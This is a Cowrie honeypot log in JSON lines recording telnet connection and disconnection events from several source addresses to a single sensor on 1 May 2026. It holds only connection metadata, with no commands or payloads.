{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52336,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e98b04cb545","protocol":"telnet","message":"New connection: 168.119.91.149:52336 (159.203.135.109:23) [session: 0e98b04cb545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.089540Z"}
{"eventid":"cowrie.session.closed","duration":30.450578927993774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.183843Z","src_ip":"81.30.157.18","session":"00e2265625fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59218,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba8748985de8","protocol":"telnet","message":"New connection: 37.187.24.227:59218 (159.203.135.109:23) [session: ba8748985de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.229369Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":52482,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ca6df14d154","protocol":"telnet","message":"New connection: 81.30.157.18:52482 (159.203.135.109:23) [session: 9ca6df14d154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.297949Z"}
{"eventid":"cowrie.session.closed","duration":31.24195408821106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.333804Z","src_ip":"81.30.157.18","session":"af65f913815a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":52508,"dst_ip":"159.203.135.109","dst_port":23,"session":"e510a599becd","protocol":"telnet","message":"New connection: 81.30.157.18:52508 (159.203.135.109:23) [session: e510a599becd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.399711Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59820,"dst_ip":"159.203.135.109","dst_port":23,"session":"3558208a74ba","protocol":"telnet","message":"New connection: 37.187.24.227:59820 (159.203.135.109:23) [session: 3558208a74ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.428125Z"}
{"eventid":"cowrie.session.closed","duration":31.047127723693848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.542255Z","src_ip":"168.119.91.149","session":"ee52edb97a90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48065996170044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.688643Z","src_ip":"168.119.91.149","session":"73a98250cd0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73030138015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.066855Z","src_ip":"81.30.157.18","session":"42469695a353","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28789472579956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.403244Z","src_ip":"147.135.136.77","session":"86e76843985f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29915690422058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.513016Z","src_ip":"168.119.91.149","session":"4f7c29cc7f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":59900,"dst_ip":"159.203.135.109","dst_port":23,"session":"dac91948860d","protocol":"telnet","message":"New connection: 206.189.139.22:59900 (159.203.135.109:23) [session: dac91948860d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.546918Z"}
{"eventid":"cowrie.session.closed","duration":31.150357484817505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.552648Z","src_ip":"168.119.91.149","session":"50b362c2cf92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33768,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bdb4a777012","protocol":"telnet","message":"New connection: 149.102.133.101:33768 (159.203.135.109:23) [session: 9bdb4a777012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.601616Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52352,"dst_ip":"159.203.135.109","dst_port":23,"session":"50e8eb4ffb99","protocol":"telnet","message":"New connection: 168.119.91.149:52352 (159.203.135.109:23) [session: 50e8eb4ffb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.695961Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34756,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2c5dfd35f76","protocol":"telnet","message":"New connection: 37.187.24.227:34756 (159.203.135.109:23) [session: d2c5dfd35f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.773863Z"}
{"eventid":"cowrie.session.closed","duration":31.490434169769287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:22.888536Z","src_ip":"168.119.91.149","session":"2250f24fa030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353533267974854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.046149Z","src_ip":"81.30.157.18","session":"d8a5c43bf799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63577651977539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.055460Z","src_ip":"81.30.157.18","session":"cb5b875c8da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":52976,"dst_ip":"159.203.135.109","dst_port":23,"session":"7083080126c8","protocol":"telnet","message":"New connection: 81.30.157.18:52976 (159.203.135.109:23) [session: 7083080126c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.078660Z"}
{"eventid":"cowrie.session.closed","duration":30.29843783378601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.111212Z","src_ip":"81.30.157.18","session":"a6b3e42e4e6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070614099502563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.136599Z","src_ip":"37.187.24.227","session":"87a78822a4bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.384346961975098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.215158Z","src_ip":"168.119.91.149","session":"d89cea8d7dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dc800782416","protocol":"telnet","message":"New connection: 37.187.24.227:35660 (159.203.135.109:23) [session: 2dc800782416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.220112Z"}
{"eventid":"cowrie.session.closed","duration":30.97204852104187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.235149Z","src_ip":"147.135.136.77","session":"5240e68f074e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091432571411133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.265465Z","src_ip":"168.119.91.149","session":"8aa52aadb11b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":53068,"dst_ip":"159.203.135.109","dst_port":23,"session":"e96955fe8458","protocol":"telnet","message":"New connection: 81.30.157.18:53068 (159.203.135.109:23) [session: e96955fe8458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.331805Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52382,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e9915febce7","protocol":"telnet","message":"New connection: 168.119.91.149:52382 (159.203.135.109:23) [session: 3e9915febce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.345492Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33782,"dst_ip":"159.203.135.109","dst_port":23,"session":"2902df8de182","protocol":"telnet","message":"New connection: 149.102.133.101:33782 (159.203.135.109:23) [session: 2902df8de182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.508279Z"}
{"eventid":"cowrie.session.closed","duration":31.456042528152466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.583914Z","src_ip":"81.30.157.18","session":"898c0f72c45a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52388,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf7bdbc188f2","protocol":"telnet","message":"New connection: 168.119.91.149:52388 (159.203.135.109:23) [session: cf7bdbc188f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.701205Z"}
{"eventid":"cowrie.session.closed","duration":31.76728653907776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.842646Z","src_ip":"147.135.136.77","session":"4168066d3811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":37206,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4471cd824bf","protocol":"telnet","message":"New connection: 37.187.24.227:37206 (159.203.135.109:23) [session: b4471cd824bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.898617Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":53206,"dst_ip":"159.203.135.109","dst_port":23,"session":"424abd77f2a8","protocol":"telnet","message":"New connection: 81.30.157.18:53206 (159.203.135.109:23) [session: 424abd77f2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.973725Z"}
{"eventid":"cowrie.session.closed","duration":31.321948289871216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:23.998065Z","src_ip":"168.119.91.149","session":"659c39d3cc58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842994213104248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.045745Z","src_ip":"147.135.136.77","session":"aaacb724b2d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":45140,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4920848d638","protocol":"telnet","message":"New connection: 85.208.100.77:45140 (159.203.135.109:23) [session: c4920848d638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.429035Z"}
{"eventid":"cowrie.session.closed","duration":30.609533548355103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.485699Z","src_ip":"168.119.91.149","session":"b30350f4379b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585379362106323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.495934Z","src_ip":"168.119.91.149","session":"70bcc8b7b428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918112754821777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.606443Z","src_ip":"147.135.136.77","session":"66bc7d51819f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121889114379883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.710909Z","src_ip":"168.119.91.149","session":"9a999e549e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":40730,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc457ab14ce2","protocol":"telnet","message":"New connection: 51.79.21.139:40730 (159.203.135.109:23) [session: cc457ab14ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.891469Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":40732,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b7dd061b2b","protocol":"telnet","message":"New connection: 51.79.21.139:40732 (159.203.135.109:23) [session: e6b7dd061b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.968253Z"}
{"eventid":"cowrie.session.closed","duration":31.642770051956177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:24.981211Z","src_ip":"37.187.24.227","session":"6c5f05fd4feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56220,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a220c33934","protocol":"telnet","message":"New connection: 81.30.157.18:56220 (159.203.135.109:23) [session: f7a220c33934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.018728Z"}
{"eventid":"cowrie.session.closed","duration":30.797630071640015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.040382Z","src_ip":"147.135.136.77","session":"7743224257ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901192665100098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.084867Z","src_ip":"37.187.24.227","session":"796b458513e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989933967590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.127115Z","src_ip":"37.187.24.227","session":"d569d8df209b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":39896,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eaf7b1a48df","protocol":"telnet","message":"New connection: 37.187.24.227:39896 (159.203.135.109:23) [session: 3eaf7b1a48df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.214284Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52404,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e743a822e5e","protocol":"telnet","message":"New connection: 168.119.91.149:52404 (159.203.135.109:23) [session: 7e743a822e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.272473Z"}
{"eventid":"cowrie.session.closed","duration":30.668577194213867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.616133Z","src_ip":"168.119.91.149","session":"ca60ade0eb65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52406,"dst_ip":"159.203.135.109","dst_port":23,"session":"e10c1984c531","protocol":"telnet","message":"New connection: 168.119.91.149:52406 (159.203.135.109:23) [session: e10c1984c531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.684409Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b593a92be9f","protocol":"telnet","message":"New connection: 147.135.136.77:33080 (159.203.135.109:23) [session: 6b593a92be9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:25.984847Z"}
{"eventid":"cowrie.session.closed","duration":30.840306043624878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.041799Z","src_ip":"147.135.136.77","session":"65f6ac2db0b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72071862220764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.049966Z","src_ip":"81.30.157.18","session":"03c50dc29c6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72291111946106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.128206Z","src_ip":"81.30.157.18","session":"56bb317c9084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92369294166565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.199497Z","src_ip":"46.101.32.143","session":"b129cc76b00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33094,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d1ded2edcef","protocol":"telnet","message":"New connection: 147.135.136.77:33094 (159.203.135.109:23) [session: 9d1ded2edcef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.205878Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33096,"dst_ip":"159.203.135.109","dst_port":23,"session":"a15a794fa29e","protocol":"telnet","message":"New connection: 147.135.136.77:33096 (159.203.135.109:23) [session: a15a794fa29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.220809Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56232,"dst_ip":"159.203.135.109","dst_port":23,"session":"e770cb14cdc2","protocol":"telnet","message":"New connection: 81.30.157.18:56232 (159.203.135.109:23) [session: e770cb14cdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.470102Z"}
{"eventid":"cowrie.session.closed","duration":30.786888122558594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.562201Z","src_ip":"168.119.91.149","session":"5abab2929d10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3412766456604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.586087Z","src_ip":"168.119.91.149","session":"a80150e19db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52422,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99f2298dfec","protocol":"telnet","message":"New connection: 168.119.91.149:52422 (159.203.135.109:23) [session: d99f2298dfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.602279Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":49986,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c01e764e2e","protocol":"telnet","message":"New connection: 85.208.100.77:49986 (159.203.135.109:23) [session: c6c01e764e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.684590Z"}
{"eventid":"cowrie.session.closed","duration":31.897494077682495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:26.936468Z","src_ip":"147.135.136.77","session":"8f5f7410cbc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95467448234558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.016462Z","src_ip":"51.79.21.139","session":"1571cf0c2701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246011972427368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.037979Z","src_ip":"149.102.133.101","session":"3bbb51bcc210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622767210006714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.046200Z","src_ip":"37.187.24.227","session":"646bc47a0233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33139181137085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.069235Z","src_ip":"46.101.32.143","session":"bfd02a16df0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889864683151245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.124804Z","src_ip":"147.135.136.77","session":"32ac85106e77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33108,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d6f0ffd82c4","protocol":"telnet","message":"New connection: 147.135.136.77:33108 (159.203.135.109:23) [session: 3d6f0ffd82c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.239409Z"}
{"eventid":"cowrie.session.closed","duration":31.054047346115112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.312778Z","src_ip":"81.30.157.18","session":"1d2548730df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56244,"dst_ip":"159.203.135.109","dst_port":23,"session":"95109f30d66c","protocol":"telnet","message":"New connection: 81.30.157.18:56244 (159.203.135.109:23) [session: 95109f30d66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.377616Z"}
{"eventid":"cowrie.session.closed","duration":30.928358793258667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.501812Z","src_ip":"168.119.91.149","session":"25456c8372f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56250,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f14bb660df1","protocol":"telnet","message":"New connection: 81.30.157.18:56250 (159.203.135.109:23) [session: 6f14bb660df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.535761Z"}
{"eventid":"cowrie.session.closed","duration":30.5626962184906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.572268Z","src_ip":"168.119.91.149","session":"9ac8e32d6eff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":35396,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac035741af3c","protocol":"telnet","message":"New connection: 149.102.133.101:35396 (159.203.135.109:23) [session: ac035741af3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.629151Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52424,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd368e434c62","protocol":"telnet","message":"New connection: 168.119.91.149:52424 (159.203.135.109:23) [session: fd368e434c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:27.774765Z"}
{"eventid":"cowrie.session.closed","duration":30.496655464172363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.051236Z","src_ip":"81.30.157.18","session":"4d8ed4641257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89299178123474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.088295Z","src_ip":"81.30.157.18","session":"a93b335d912c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767594575881958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.092340Z","src_ip":"81.30.157.18","session":"cb93c3fa82f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33124,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6f5cfd29d5e","protocol":"telnet","message":"New connection: 147.135.136.77:33124 (159.203.135.109:23) [session: d6f5cfd29d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.107352Z"}
